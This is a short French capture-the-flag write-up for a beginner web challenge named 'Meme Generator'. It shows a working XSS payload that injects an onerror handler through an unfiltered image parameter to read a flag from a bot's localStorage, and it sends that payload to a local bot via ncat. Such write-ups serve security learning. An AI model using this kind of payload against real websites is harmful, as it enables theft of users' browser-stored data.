Solution de philadonf44 pour Meme Generator

intro web

2 janvier 2026

Analyse de la vulnérabilité

Le paramètre image de l’URL est injecté directement dans une balise HTML sans filtrage. Cela permet d’injecter du JavaScript arbitraire via une vulnérabilité XSS (Cross-Site Scripting).

Le bot exécute le JavaScript contenu dans la page visitée et renvoie tous les appels à console.log sur la connexion TCP.

Exploitation

L’objectif est d’exécuter du JavaScript permettant de lire la valeur du flag stockée dans le localStorage du navigateur du bot.

Payload XSS utilisé :

http://meme-generator/?image=x " onerror=“console.log(localStorage.getItem(‘flag’))” src=“x&text=ok

Ce payload déclenche un événement onerror sur une image invalide, ce qui permet d’exécuter console.log(localStorage.getItem('flag')).

Interaction avec le bot

Connexion au bot :

ncat localhost 4000

Envoi de l’URL malveillante :

http://meme-generator/?image=x " onerror=“console.log(localStorage.getItem(‘flag’))” src=“x&text=ok

Le bot visite alors l’URL et renvoie le contenu de console.log sur la connexion TCP.

Résultat

Le bot renvoie le flag directement dans la sortie.